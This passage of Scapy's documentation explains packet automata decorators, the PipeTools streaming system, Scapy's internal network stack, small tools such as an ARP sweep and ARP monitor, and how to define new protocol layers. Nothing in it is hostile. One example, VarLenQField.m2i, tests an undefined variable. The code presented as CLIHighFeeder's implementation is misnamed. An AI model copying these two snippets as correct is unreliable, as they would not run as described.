        split_bottom_up(UDP, TFTP, dport=self.my_tid)
        return pkt[TFTP_ERROR].summary()

    #END
    @ATMT.state(final=1)
    def END(self):
        split_bottom_up(UDP, TFTP, dport=self.my_tid)
        return self.res





It can be run like this, for instance:

>>> atmt = TFTP_read("my_file", "192.168.1.128")
>>> atmt.run()
>>> atmt.destroy()







Detailed documentation


Decorators


Decorator for states

States are methods decorated by the result of the ATMT.state function. It can take 4 optional parameters, initial, final, stop and error, that, when set to True, indicating that the state is an initial, final, stop or error state.


Note

The initial state is called while starting the automata. The final step will tell the automata has reached its end. If you call atmt.stop(), the automata will move to the stop step whatever its current state is. The error state will mark the automata as errored. If no stop state is specified, calling stop and forcestop will be equivalent.



class Example(Automaton):
    @ATMT.state(initial=1)
    def BEGIN(self):
        pass

    @ATMT.state()
    def SOME_STATE(self):
        pass

    @ATMT.state(final=1)
    def END(self):
        return "Result of the automaton: 42"

    @ATMT.state(stop=1)
    def STOP(self):
        print("SHUTTING DOWN...")
        # e.g. close sockets...

    @ATMT.condition(STOP)
    def is_stopping(self):
        raise self.END()

    @ATMT.state(error=1)
    def ERROR(self):
        return "Partial result, or explanation"
# [...]





Take for instance the TCP client:

[image: _images/ATMT_TCP_client.svg]The START event is initial=1, the STOP event is stop=1 and the CLOSED event is final=1.



Decorators for transitions

Transitions are methods decorated by the result of one of ATMT.condition, ATMT.receive_condition, ATMT.eof, ATMT.timeout, ATMT.timer. They all take as argument the state method they are related to. ATMT.timeout and ATMT.timer also have a mandatory timeout parameter to provide the timeout value in seconds. The difference between ATMT.timeout and ATMT.timer is that ATMT.timeout gets triggered only once. ATMT.timer get reloaded automatically, which is useful for sending keep-alive packets. ATMT.condition and ATMT.receive_condition have an optional prio parameter so that the order in which conditions are evaluated can be forced. The default priority is 0. Transitions with the same priority level are called in an undetermined order.

When the automaton switches to a given state, the state’s method is executed. Then transitions methods are called at specific moments until one triggers a new state (something like raise self.MY_NEW_STATE()). First, right after the state’s method returns, the ATMT.condition decorated methods are run by growing prio. Then each time a packet is received and accepted by the master filter all ATMT.receive_condition decorated hods are called by growing prio. When a timeout is reached since the time we entered into the current space, the corresponding ATMT.timeout decorated method is called. If the socket raises an EOFError (closed) during a state, the ATMT.EOF transition is called. Otherwise it raises an exception and the automaton exits.

class Example(Automaton):
    @ATMT.state()
    def WAITING(self):
        pass

    @ATMT.condition(WAITING)
    def it_is_raining(self):
        if not self.have_umbrella:
            raise self.ERROR_WET()

    @ATMT.receive_condition(WAITING, prio=1)
    def it_is_ICMP(self, pkt):
        if ICMP in pkt:
            raise self.RECEIVED_ICMP(pkt)

    @ATMT.receive_condition(WAITING, prio=2)
    def it_is_IP(self, pkt):
        if IP in pkt:
            raise self.RECEIVED_IP(pkt)

    @ATMT.timeout(WAITING, 10.0)
    def waiting_timeout(self):
        raise self.ERROR_TIMEOUT()







Decorator for actions

Actions are methods that are decorated by the return of ATMT.action function. This function takes the transition method it is bound to as first parameter and an optional priority prio as a second parameter. The default priority is 0. An action method can be decorated many times to be bound to many transitions.

from random import random

class Example(Automaton):
    @ATMT.state(initial=1)
    def BEGIN(self):
        pass

    @ATMT.state(final=1)
    def END(self):
        pass

    @ATMT.condition(BEGIN, prio=1)
    def maybe_go_to_end(self):
        if random() > 0.5:
            raise self.END()

    @ATMT.condition(BEGIN, prio=2)
    def certainly_go_to_end(self):
        raise self.END()

    @ATMT.action(maybe_go_to_end)
    def maybe_action(self):
        print("We are lucky...")

    @ATMT.action(certainly_go_to_end)
    def certainly_action(self):
        print("We are not lucky...")

    @ATMT.action(maybe_go_to_end, prio=1)
    @ATMT.action(certainly_go_to_end, prio=1)
    def always_action(self):
        print("This wasn't luck!...")





The two possible outputs are:

>>> a=Example()
>>> a.run()
We are not lucky...
This wasn't luck!...
>>> a.run()
We are lucky...
This wasn't luck!...
>>> a.destroy()






Note

If you want to pass a parameter to an action, you can use the action_parameters function while raising the next state.



In the following example, the send_copy action takes a parameter passed by is_fin:

class Example(Automaton):
    @ATMT.state()
    def WAITING(self):
        pass

    @ATMT.state()
    def FIN_RECEIVED(self):
        pass

    @ATMT.receive_condition(WAITING)
    def is_fin(self, pkt):
        if pkt[TCP].flags.F:
            raise self.FIN_RECEIVED().action_parameters(pkt)

    @ATMT.action(is_fin)
    def send_copy(self, pkt):
        send(pkt)








Methods to overload

Two methods are hooks to be overloaded:


	The parse_args() method is called with arguments given at __init__() and run(). Use that to parametrize the behavior of your automaton.


	The master_filter() method is called each time a packet is sniffed and decides if it is interesting for the automaton. When working on a specific protocol, this is where you will ensure the packet belongs to the connection you are being part of, so that you do not need to make all the sanity checks in each transition.






Timer configuration

Some protocols allow timer configuration. In order to configure timeout values during class initialization one may use timer_by_name() method, which returns Timer object associated with the given function name:

class Example(Automaton):
    def __init__(self, *args, **kwargs):
        super(Example, self).__init__(*args, **kwargs)
        timer = self.timer_by_name("waiting_timeout")
        timer.set(1)

    @ATMT.state(initial=1)
    def WAITING(self):
        pass

    @ATMT.state(final=1)
    def END(self):
        pass

    @ATMT.timeout(WAITING, 10.0)
    def waiting_timeout(self):
        raise self.END()









PipeTools

Scapy’s pipetool is a smart piping system allowing to perform complex stream data management.

The goal is to create a sequence of steps with one or several inputs and one or several outputs, with a bunch of blocks in between.
PipeTools can handle varied sources of data (and outputs) such as user input, pcap input, sniffing, wireshark…
A pipe system is implemented by manually linking all its parts. It is possible to dynamically add an element while running or set multiple drains for the same source.


Note

Pipetool default objects are located inside scapy.pipetool




Demo: sniff, anonymize, send to Wireshark

The following code will sniff packets on the default interface, anonymize the source and destination IP addresses and pipe it all into Wireshark. Useful when posting online examples, for instance.

source = SniffSource(iface=conf.iface)
wire = WiresharkSink()
def transf(pkt):
    if not pkt or IP not in pkt:
        return pkt
    pkt[IP].src = "1.1.1.1"
    pkt[IP].dst = "2.2.2.2"
    return pkt

source > TransformDrain(transf) > wire
p = PipeEngine(source)
p.start()
p.wait_and_stop()





The engine is pretty straightforward:

[image: _images/pipetool_demo.svg]Let’s run it:

[image: _images/pipetool_demo.gif]


Class Types

There are 3 different class of objects used for data management:


	Sources


	Drains


	Sinks




They are executed and handled by a PipeEngine object.

When running, a pipetool engine waits for any available data from the Source, and send it in the Drains linked to it.
The data then goes from Drains to Drains until it arrives in a Sink, the final state of this data.

Let’s see with a basic demo how to build a pipetool system.

[image: _images/pipetool_engine.png]
For instance, this engine was generated with this code:

>>> s = CLIFeeder()
>>> s2 = CLIHighFeeder()
>>> d1 = Drain()
>>> d2 = TransformDrain(lambda x: x[::-1])
>>> si1 = ConsoleSink()
>>> si2 = QueueSink()
>>>
>>> s > d1
>>> d1 > si1
>>> d1 > si2
>>>
>>> s2 >> d1
>>> d1 >> d2
>>> d2 >> si1
>>>
>>> p = PipeEngine()
>>> p.add(s)
>>> p.add(s2)
>>> p.graph(target="> the_above_image.png")





start() is used to start the PipeEngine:

>>> p.start()





Now, let’s play with it by sending some input data

>>> s.send("foo")
>'foo'
>>> s2.send("bar")
>>'rab'
>>> s.send("i like potato")
>'i like potato'
>>> print(si2.recv(), ":", si2.recv())
foo : i like potato





Let’s study what happens here:


	there are two canals in a PipeEngine, a lower one and a higher one. Some Sources write on the lower one, some on the higher one and some on both.


	most sources can be linked to any drain, on both lower and higher canals. The use of > indicates a link on the low canal, and >> on the higher one.


	when we send some data in s, which is on the lower canal, as shown above, it goes through the Drain then is sent to the QueueSink and to the ConsoleSink


	when we send some data in s2, it goes through the Drain, then the TransformDrain where the data is reversed (see the lambda), before being sent to ConsoleSink only. This explains why we only have the data of the lower sources inside the QueueSink: the higher one has not been linked.




Most of the sinks receive from both lower and upper canals. This is verifiable using the help(ConsoleSink)

>>> help(ConsoleSink)
Help on class ConsoleSink in module scapy.pipetool:
class ConsoleSink(Sink)
 |  Print messages on low and high entries
 |     +-------+
 |  >>-|--.    |->>
 |     | print |
 |   >-|--'    |->
 |     +-------+
 |
 [...]






Sources

A Source is a class that generates some data.

There are several source types integrated with Scapy, usable as-is, but you may
also create yours.


Default Source classes

For any of those class, have a look at help([theclass]) to get more information or the required parameters.


	CLIFeeder : a source especially used in interactive software. its send(data) generates the event data on the lower canal


	CLIHighFeeder : same than CLIFeeder, but writes on the higher canal


	PeriodicSource : Generate messages periodically on the low canal.


	AutoSource: the default source, that must be extended to create custom sources.






Create a custom Source

To create a custom source, one must extend the AutoSource class.


Note

Do NOT use the default Source class except if you are really sure of what you are doing: it is only used internally, and is missing some implementation. The AutoSource is made to be used.



To send data through it, the object must call its self._gen_data(msg) or self._gen_high_data(msg) functions, which send the data into the PipeEngine.

The Source should also (if possible), set self.is_exhausted to True when empty, to allow the clean stop of the PipeEngine. If the source is infinite, it will need a force-stop (see PipeEngine below)

For instance, here is how CLIHighFeeder is implemented:

class CLIFeeder(CLIFeeder):
    def send(self, msg):
        self._gen_high_data(msg)
    def close(self):
        self.is_exhausted = True








Drains


Default Drain classes

Drains need to be linked on the entry that you are using. It can be either on the lower one (using >) or the upper one (using >>).
See the basic example above.


	Drain : the most basic Drain possible. Will pass on both low and high entry if linked properly.


	TransformDrain : Apply a function to messages on low and high entry


	UpDrain : Repeat messages from low entry to high exit


	DownDrain : Repeat messages from high entry to low exit






Create a custom Drain

To create a custom drain, one must extend the Drain class.

A Drain object will receive data from the lower canal in its push method, and from the higher canal from its high_push method.

To send the data back into the next linked Drain / Sink, it must call the self._send(msg) or self._high_send(msg) methods.

For instance, here is how TransformDrain is implemented:

class TransformDrain(Drain):
    def __init__(self, f, name=None):
        Drain.__init__(self, name=name)
        self.f = f
    def push(self, msg):
        self._send(self.f(msg))
    def high_push(self, msg):
        self._high_send(self.f(msg))








Sinks

Sinks are destinations for messages.

A Sink receives data like a Drain, but doesn’t send any
messages after it.

Messages on the low entry come from push(), and messages on the
high entry come from high_push().


Default Sinks classes


	ConsoleSink : Print messages on low and high entries to stdout


	RawConsoleSink : Print messages on low and high entries, using os.write


	TermSink : Prints messages on the low and high entries, on a separate terminal


	QueueSink : Collects messages on the low and high entries into a Queue






Create a custom Sink

To create a custom sink, one must extend Sink and implement
push() and/or high_push().

This is a simplified version of ConsoleSink:

class ConsoleSink(Sink):
    def push(self, msg):
        print(">%r" % msg)
    def high_push(self, msg):
        print(">>%r" % msg)









Link objects

As shown in the example, most sources can be linked to any drain, on both low
and high entry.

The use of > indicates a link on the low entry, and >> on the high
entry.

For example, to link a, b and c on the low entries:

>>> a = CLIFeeder()
>>> b = Drain()
>>> c = ConsoleSink()
>>> a > b > c
>>> p = PipeEngine()
>>> p.add(a)





This wouldn’t link the high entries, so something like this would do nothing:

>>> a2 = CLIHighFeeder()
>>> a2 >> b
>>> a2.send("hello")





Because b (Drain) and c (scapy.pipetool.ConsoleSink) are not
linked on the high entry.

However, using a DownDrain would bring the high messages from
CLIHighFeeder to the lower channel:

>>> a2 = CLIHighFeeder()
>>> b2 = DownDrain()
>>> a2 >> b2
>>> b2 > b
>>> a2.send("hello")







The PipeEngine class

The PipeEngine class is the core class of the Pipetool system. It must be initialized and passed the list of all Sources.

There are two ways of passing sources:


	during initialization: p = PipeEngine(source1, source2, ...)


	using the add(source) method




A PipeEngine class must be started with .start() function. It may be force-stopped with the .stop(), or cleanly stopped with .wait_and_stop()

A clean stop only works if the Sources is exhausted (has no data to send left).

It can be printed into a graph using .graph() methods. see help(do_graph) for the list of available keyword arguments.



Scapy advanced PipeTool objects


Note

Unlike the previous objects, those are not located in scapy.pipetool but in scapy.scapypipes



Now that you know the default PipeTool objects, here are some more advanced ones, based on packet functionalities.


	SniffSource : Read packets from an interface and send them to low exit.


	RdpcapSource : Read packets from a PCAP file send them to low exit.


	InjectSink : Packets received on low input are injected (sent) to an interface


	WrpcapSink : Packets received on low input are written to PCAP file


	UDPDrain : UDP payloads received on high entry are sent over UDP (complicated, have a look at help(UDPDrain))


	FDSourceSink : Use a file descriptor as source and sink


	TCPConnectPipe: TCP connect to addr:port and use it as source and sink


	TCPListenPipe : TCP listen on [addr:]port and use the first connection as source and sink (complicated, have a look at help(TCPListenPipe))






Triggering

Some special sort of Drains exists: the Trigger Drains.

Trigger Drains are special drains, that on receiving data not only pass it by but also send a “Trigger” input, that is received and handled by the next triggered drain (if it exists).

For example, here is a basic TriggerDrain usage:

>>> a = CLIFeeder()
>>> d = TriggerDrain(lambda msg: True) # Pass messages and trigger when a condition is met
>>> d2 = TriggeredValve()
>>> s = ConsoleSink()
>>> a > d > d2 > s
>>> d ^ d2 # Link the triggers
>>> p = PipeEngine(s)
>>> p.start()
INFO: Pipe engine thread started.
>>>
>>> a.send("this will be printed")
>'this will be printed'
>>> a.send("this won't, because the valve was switched")
>>> a.send("this will, because the valve was switched again")
>'this will, because the valve was switched again'
>>> p.stop()





Several triggering Drains exist, they are pretty explicit. It is highly recommended to check the doc using help([the class])


	TriggeredMessage : Send a preloaded message when triggered and trigger in chain


	TriggerDrain : Pass messages and trigger when a condition is met


	TriggeredValve : Let messages alternatively pass or not, changing on trigger


	TriggeredQueueingValve : Let messages alternatively pass or queued, changing on trigger


	TriggeredSwitch : Let messages alternatively high or low, changing on trigger









            

          

      

      

    

  

    
      
          
            
  
Scapy network stack

Scapy maintains its own network stack, which is independent from the one of your operating system.
It possesses its own interfaces list, routing table, ARP cache, IPv6 neighbour cache, nameservers config… and so on, all of which is configurable.

Here are a few examples of where this is used:

- When you use ``sr()/send()``, Scapy will use internally its own routing table (``conf.route``) in order to find which interface to use, and eventually send an ARP request.
- When using ``dns_resolve()``, Scapy uses its own nameservers list (``conf.nameservers``) to perform the request
- etc.






Note

What’s important to note is that Scapy initializes its own tables by querying the OS-specific ones.
It has therefore implemented bindings for Linux/Windows/BSD.. in order to retrieve such data, which may also be used as a high-level API, documented below.




Interfaces list

Scapy stores its interfaces list in the conf.ifaces object.
It provides a few utility functions such as dev_from_networkname(), dev_from_name() or dev_from_index() in order to access those.

>>> conf.ifaces
Source  Index  Name  MAC                IPv4          IPv6
sys     1      lo    00:00:00:00:00:00  127.0.0.1     ::1
sys     2      eth0  Microsof:12:cb:ef  10.0.0.5  fe80::10a:2bef:dc12:afae
>>> conf.ifaces.dev_from_index(2)
<NetworkInterface eth0 [UP+BROADCAST+RUNNING+SLAVE]>





You can also use the older get_if_list() function in order to only get the interface names.

>>> get_if_list()
['lo', 'eth0']






Extcap interfaces

Scapy supports sniffing on Wireshark’s extcap [https://www.wireshark.org/docs/man-pages/extcap.html] interfaces. You can simply enable it using load_extcap() (from scapy.libs.extcap).

>>> load_extcap()
>>> conf.ifaces
Source       Index  Name                                     Address
ciscodump    100    Cisco remote capture                     ciscodump
dpauxmon     100    DisplayPort AUX channel monitor capture  dpauxmon
randpktdump  100    Random packet generator                  randpkt
sdjournal    100    systemd Journal Export                   sdjournal
sshdump      100    SSH remote capture                       sshdump
udpdump      100    UDP Listener remote capture              udpdump
wifidump     100    Wi-Fi remote capture                     wifidump
Source  Index  Name  MAC                IPv4          IPv6
sys     1      lo    00:00:00:00:00:00  127.0.0.1     ::1
sys     2      eth0  Microsof:12:cb:ef  10.0.0.5  fe80::10a:2bef:dc12:afae





Here’s an example of how to use sshdump [https://www.wireshark.org/docs/man-pages/sshdump.html]. As you can see you can pass arguments that are properly converted:

>>> load_extcap()
>>> sniff(
...     iface="sshdump",
...     prn=lambda x: x.summary(),
...     remote_host="192.168.0.1",
...     remote_username="root",
...     remote_password="SCAPY",
... )








IPv4 routes


Note

If you want to change or edit the routes, have a look at the “Routing” section in Usage



The routes are stores in conf.route. You can use it to display the routes, or get specific routing

>>> conf.route

Network          Netmask          Gateway   Iface  Output IP  Metric
0.0.0.0          0.0.0.0          10.0.0.1  eth0   10.0.0.5   100
10.0.0.0         255.255.255.0    0.0.0.0   eth0   10.0.0.5   0
127.0.0.0        255.0.0.0        0.0.0.0   lo     127.0.0.1  1
168.63.129.16    255.255.255.255  10.0.0.1  eth0   10.0.0.5   100
169.254.169.254  255.255.255.255  10.0.0.1  eth0   10.0.0.5   100





Get the route for a specific IP:  conf.route.route() will return (interface, outgoing_ip, gateway)

>>> conf.route.route("127.0.0.1")
('lo', '127.0.0.1', '0.0.0.0')







IPv6 routes

Same as IPv4 but with conf.route6



Get default gateway IP address

>>> gw = conf.route.route("0.0.0.0")[2]
>>> gw
'10.0.0.1'







Get the IP of an interface

Use conf.iface

>>> ip = get_if_addr(conf.iface)  # default interface
>>> ip = get_if_addr("eth0")
>>> ip
'10.0.0.5'







Get the MAC of an interface

>>> mac = get_if_hwaddr(conf.iface)  # default interface
>>> mac = get_if_hwaddr("eth0")
>>> mac
'54:3f:19:c9:38:6d'







Get MAC by IP

This basically performs a cached ARP who-has.

>>> mac = getmacbyip("10.0.0.1")
>>> mac
'f3:ae:5e:76:31:9b'









            

          

      

      

    

  

    
      
          
            
  
Build your own tools

You can use Scapy to make your own automated tools. You can also extend Scapy without having to edit its source file.

If you have built some interesting tools, please contribute back to the github wiki !


Using Scapy in your tools

You can easily use Scapy in your own tools. Just import what you need and do it.

This first example takes an IP or a name as first parameter, send an ICMP echo request packet and display the completely dissected return packet:

#! /usr/bin/env python

import sys
from scapy.all import sr1,IP,ICMP

p=sr1(IP(dst=sys.argv[1])/ICMP())
if p:
    p.show()






Configuring Scapy’s logger

Scapy configures a logger automatically using Python’s logging module. This
logger is custom to support things like colors and frequency filters. By
default, it is set to WARNING (when not in interactive mode), but you can
change that using for instance:

import logging
logging.getLogger("scapy").setLevel(logging.CRITICAL)





To disable almost all logs. (Scapy simply won’t work properly if a CRITICAL
failure occurs)


Note

On interactive mode, the default log level is INFO





More examples

This is a more complex example which does an ARP ping and reports what it found with LaTeX formatting:

#! /usr/bin/env python
# arping2tex : arpings a network and outputs a LaTeX table as a result

import sys
if len(sys.argv) != 2:
    print("Usage: arping2tex <net>\n  eg: arping2tex 192.168.1.0/24")
    sys.exit(1)

from scapy.all import srp, Ether, ARP, conf
conf.verb = 0
ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=sys.argv[1]),
                 timeout=2)

print(r"\begin{tabular}{|l|l|}")
print(r"\hline")
print(r"MAC & IP\\")
print(r"\hline")
for snd,rcv in ans:
    print(rcv.sprintf(r"%Ether.src% & %ARP.psrc%\\"))
print(r"\hline")
print(r"\end{tabular}")





Here is another tool that will constantly monitor all interfaces on a machine and print all ARP request it sees, even on 802.11 frames from a Wi-Fi card in monitor mode. Note the store=0 parameter to sniff() to avoid storing all packets in memory for nothing:

#! /usr/bin/env python
from scapy.all import *

def arp_monitor_callback(pkt):
    if ARP in pkt and pkt[ARP].op in (1,2): #who-has or is-at
        return pkt.sprintf("%ARP.hwsrc% %ARP.psrc%")

sniff(prn=arp_monitor_callback, filter="arp", store=0)





For a real life example, you can check Wifitap [http://sid.rstack.org/static/articles/w/i/f/Wifitap_EN_9613.html]. Sadly, Wifitap is no longer maintained but nonetheless demonstrates Scapy’s Wi-Fi capabilities. The code can be retrieved from github [https://github.com/gdssecurity/wifitap/].




Extending Scapy with add-ons

If you need to add some new protocols, new functions, anything, you can write it directly into Scapy’s source file. But this is not very convenient. Even if those modifications are to be integrated into Scapy, it can be more convenient to write them in a separate file.

Once you’ve done that, you can launch Scapy and import your file, but this is still not very convenient. Another way to do that is to make your file executable and have it call the Scapy function named interact():

#! /usr/bin/env python

# Set log level to benefit from Scapy warnings
import logging
logger = logging.getLogger("scapy")
logger.setLevel(logging.INFO)

from scapy.all import *

class Test(Packet):
    name = "Test packet"
    fields_desc = [ ShortField("test1", 1),
                    ShortField("test2", 2) ]

def make_test(x,y):
    return Ether()/IP()/Test(test1=x,test2=y)

if __name__ == "__main__":
    interact(mydict=globals(), mybanner="Test add-on v3.14")





If you put the above listing in the test_interact.py file and make it executable, you’ll get:

# ./test_interact.py
Welcome to Scapy (0.9.17.109beta)
Test add-on v3.14
>>> make_test(42,666)
<Ether type=0x800 |<IP |<Test test1=42 test2=666 |>>>









            

          

      

      

    

  

    
      
          
            
  
Adding new protocols

Adding a new protocol (or more correctly: a new layer) in Scapy is very easy. All the magic is in the fields. If the
fields you need are already there and the protocol is not too brain-damaged,
this should be a matter of minutes.


Simple example

A layer is a subclass of the Packet class. All the logic behind layer manipulation
is held by the Packet class and will be inherited.
A simple layer is compounded by a list of fields that will be either concatenated
when assembling the layer or dissected one by one when disassembling a string.
The list of fields is held in an attribute named fields_desc. Each field is an instance
of a field class:

class Disney(Packet):
    name = "DisneyPacket "
    fields_desc=[ ShortField("mickey",5),
                 XByteField("minnie",3) ,
                 IntEnumField("donald" , 1 ,
                      { 1: "happy", 2: "cool" , 3: "angry" } ) ]





In this example, our layer has three fields. The first one is a 2-byte integer
field named mickey and whose default value is 5. The second one is a 1-byte
integer field named minnie and whose default value is 3. The difference between
a vanilla ByteField and an XByteField is only the fact that the preferred human
representation of the field’s value is in hexadecimal. The last field is a 4-byte
integer field named donald. It is different from a vanilla IntField by the fact
that some of the possible values of the field have literate representations. For
example, if it is worth 3, the value will be displayed as angry. Moreover, if the
“cool” value is assigned to this field, it will understand that it has to take the
value 2.

If your protocol is as simple as this, it is ready to use:

>>> d=Disney(mickey=1)
>>> ls(d)
mickey : ShortField = 1 (5)
minnie : XByteField = 3 (3)
donald : IntEnumField = 1 (1)
>>> d.show()
###[ Disney Packet ]###
mickey= 1
minnie= 0x3
donald= happy
>>> d.donald="cool"
>>> raw(d)
’\x00\x01\x03\x00\x00\x00\x02’
>>> Disney(_)
<Disney mickey=1 minnie=0x3 donald=cool |>





This chapter explains how to build a new protocol within Scapy. There are two main objectives:


	Dissecting: this is done when a packet is received (from the network or a file) and should be converted to Scapy’s internals.


	Building: When one wants to send such a new packet, some stuff needs to be adjusted automatically in it.






Layers

Before digging into dissection itself, let us look at how packets are
organized.

>>> p = IP()/TCP()/"AAAA"
>>> p
<IP  frag=0 proto=TCP |<TCP  |<Raw  load='AAAA' |>>>
>>> p.summary()
'IP / TCP 127.0.0.1:ftp-data > 127.0.0.1:www S / Raw'





We are interested in 2 “inside” fields of the class Packet:


	p.underlayer


	p.payload




And here  is the  main “trick”.  You do not  care about  packets, only
about layers, stacked one after the other.

One can easily  access a layer by its name: p[TCP] returns the TCP
and following layers. This is a shortcut for p.getlayer(TCP).


Note

There is  an optional argument (nb) which returns  the nb th  layer of required protocol.



Let’s put everything together now, playing with the TCP layer:

>>> tcp=p[TCP]
>>> tcp.underlayer
<IP  frag=0 proto=TCP |<TCP  |<Raw  load='AAAA' |>>>
>>> tcp.payload
<Raw  load='AAAA' |>





As expected, tcp.underlayer points to the beginning of our IP packet,
and tcp.payload to its payload.


Building a new layer

VERY EASY! A layer is mainly a list of fields. Let’s look at UDP definition:

class UDP(Packet):
    name = "UDP"
    fields_desc = [ ShortEnumField("sport", 53, UDP_SERVICES),
                    ShortEnumField("dport", 53, UDP_SERVICES),
                    ShortField("len", None),
                    XShortField("chksum", None), ]





And you are done! There are many fields already defined for
convenience, look at the doc``^W`` sources as Phil would say.

So, defining a layer is simply gathering fields in a list. The goal is
here to  provide the  efficient default values  for each field  so the
user does not have to give them when he builds a packet.

The main  mechanism  is based on  the Field structure.  Always keep in
mind that a layer is just a little more than a list of fields, but not
much more.

So, to understand how layers are working, one needs to look quickly
at how the fields are handled.



Manipulating packets == manipulating its fields

A field should be considered in different states:


	i (nternal) : this is the way Scapy manipulates it.


	
	m (achine)this is where the truth is, that is the layer as it is
	on the network.







	h (uman) : how the packet is displayed to our human eyes.




This explains  the mysterious  methods i2h(), i2m(),  m2i() and  so on
available  in  each field:  they are the conversion  from one  state  to
another, adapted to a specific use.

Other special functions:


	any2i() guess the input representation and returns the internal one.


	i2repr() a nicer i2h()




However, all these are “low level” functions. The functions adding or
extracting a field to the current layer are:


	addfield(self, pkt, s, val):  copy the network  representation of
field val (belonging to layer pkt) to the raw string packet s:

class StrFixedLenField(StrField):
    def addfield(self, pkt, s, val):
        return s+struct.pack("%is"%self.length,self.i2m(pkt, val))







	getfield(self, pkt, s): extract from the raw packet s the field
value belonging to layer pkt. It returns a list, the 1st element
is the raw packet string after having removed the extracted field,
the second one is the extracted field itself in internal
representation:

class StrFixedLenField(StrField):
    def getfield(self, pkt, s):
        return s[self.length:], self.m2i(pkt,s[:self.length])









When defining your own layer, you usually just need to define some
*2*() methods, and sometimes also the addfield() and getfield().



Example: variable length quantities

There is a way to represent integers on a variable length quantity often
used in  protocols, for instance  when dealing with  signal processing
(e.g. MIDI).

Each byte  of the number is  coded with the  MSB set to 1,  except the
last byte. For instance, 0x123456 will be coded as 0xC8E856:

def vlenq2str(l):
    s = []
    s.append(l & 0x7F)
    l = l >> 7
    while l > 0:
        s.append( 0x80 | (l & 0x7F) )
        l = l >> 7
    s.reverse()
    return bytes(bytearray(s))

def str2vlenq(s=b""):
    i = l = 0
    while i < len(s) and ord(s[i:i+1]) & 0x80:
        l = l << 7
        l = l + (ord(s[i:i+1]) & 0x7F)
        i = i + 1
    if i == len(s):
        warning("Broken vlenq: no ending byte")
    l = l << 7
    l = l + (ord(s[i:i+1]) & 0x7F)

    return s[i+1:], l





We will  define a field which  computes automatically the  length of an
associated string, but used that encoding format:

class VarLenQField(Field):
    """ variable length quantities """
    __slots__ = ["fld"]

    def __init__(self, name, default, fld):
        Field.__init__(self, name, default)
        self.fld = fld

    def i2m(self, pkt, x):
        if x is None:
            f = pkt.get_field(self.fld)
            x = f.i2len(pkt, pkt.getfieldval(self.fld))
            x = vlenq2str(x)
        return raw(x)

    def m2i(self, pkt, x):
        if s is None:
            return None, 0
        return str2vlenq(x)[1]

    def addfield(self, pkt, s, val):
        return s+self.i2m(pkt, val)

    def getfield(self, pkt, s):
        return str2vlenq(s)





And now, define a layer using this kind of field:

class FOO(Packet):
    name = "FOO"
    fields_desc = [ VarLenQField("len", None, "data"),
                    StrLenField("data", "", length_from=lambda pkt: pkt.len) ]

>>> f = FOO(data="A"*129)
>>> f.show()
###[ FOO ]###
  len= None
  data=    'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'





Here, len  has yet to be computed and only the default value is
displayed. This is the current internal representation of our
layer. Let’s force the computation now:

>>> f.show2()
###[ FOO ]###
  len= 129
  data= 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'





The method show2() displays the fields with their values as they will
be sent to the network, but in a human readable way, so we see len=129.
Last but not least, let us look now at the machine representation:

>>> raw(f)
'\x81\x01AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'





The first 2 bytes are \x81\x01, which is 129 in this encoding.




Dissecting

Layers only are list of fields, but what is the glue between each
field, and after, between each  layer. These are the mysteries explain
in this section.


The basic stuff

The core function for dissection is Packet.dissect():

def dissect(self, s):
    s = self.pre_dissect(s)
    s = self.do_dissect(s)
    s = self.post_dissect(s)
    payl,pad = self.extract_padding(s)
    self.do_dissect_payload(payl)
    if pad and conf.padding:
        self.add_payload(Padding(pad))





When called, s is a string containing what is going to be
dissected. self points to the current layer.

>>> p=IP("A"*20)/TCP("B"*32)
WARNING: bad dataofs (4). Assuming dataofs=5
>>> p
<IP  version=4L ihl=1L tos=0x41 len=16705 id=16705 flags=DF frag=321L ttl=65 proto=65 chksum=0x4141
src=65.65.65.65 dst=65.65.65.65 |<TCP  sport=16962 dport=16962 seq=1111638594L ack=1111638594L dataofs=4L
reserved=2L flags=SE window=16962 chksum=0x4242 urgptr=16962 options=[] |<Raw  load='BBBBBBBBBBBB' |>>>





Packet.dissect() is called 3 times:


	to dissect the "A"*20 as an IPv4 header


	to dissect the "B"*32 as a TCP header


	and  since  there  are still  12  bytes  in  the packet,  they  are
dissected as “Raw” data (which is some kind of default layer type)




For a given layer, everything is quite straightforward:


	pre_dissect() is called to prepare the layer.


	do_dissect() perform the real dissection of the layer.


	post_dissection() is  called when some  updates are needed  on the
dissected inputs (e.g. deciphering, uncompressing, … )


	extract_padding() is an important  function which should be called
by every  layer containing  its own size, so that it can tell apart
in  the payload what is really related to this layer and what will
be considered as additional padding bytes.


	do_dissect_payload()  is the  function in  charge of  dissecting the
payload  (if  any).  It   is  based  on  guess_payload_class()  (see
below). Once the type of the  payload is known, the payload is bound
to the current layer with this new type:

def do_dissect_payload(self, s):
    cls = self.guess_payload_class(s)
    p = cls(s, _internal=1, _underlayer=self)
    self.add_payload(p)









At the  end, all  the layers  in the packet  are dissected,  and glued
together with their known types.



Dissecting fields

The  method with  all the  magic  between a  layer and  its fields  is
do_dissect(). If you have  understood the different representations of
a layer, you  should understand that “dissecting” a  layer is building
each of its fields from the machine to the internal representation.

Guess what? That is exactly what do_dissect() does:

def do_dissect(self, s):
    flist = self.fields_desc[:]
    flist.reverse()
    while s and flist:
        f = flist.pop()
        s,fval = f.getfield(self, s)
        self.fields[f] = fval
    return s





So, it  takes the raw string packet,  and feed each field  with it, as
long as there are data or fields remaining:

>>> FOO("\xff\xff"+"B"*8)
<FOO  len=2097090 data='BBBBBBB' |>





When writing FOO("\xff\xff"+"B"*8), it calls do_dissect(). The first
field is VarLenQField.  Thus, it takes bytes as long as their MSB is
set, thus until (and including) the first ‘B’. This mapping is done
thanks to VarLenQField.getfield() and can be cross-checked:

>>> vlenq2str(2097090)
'\xff\xffB'





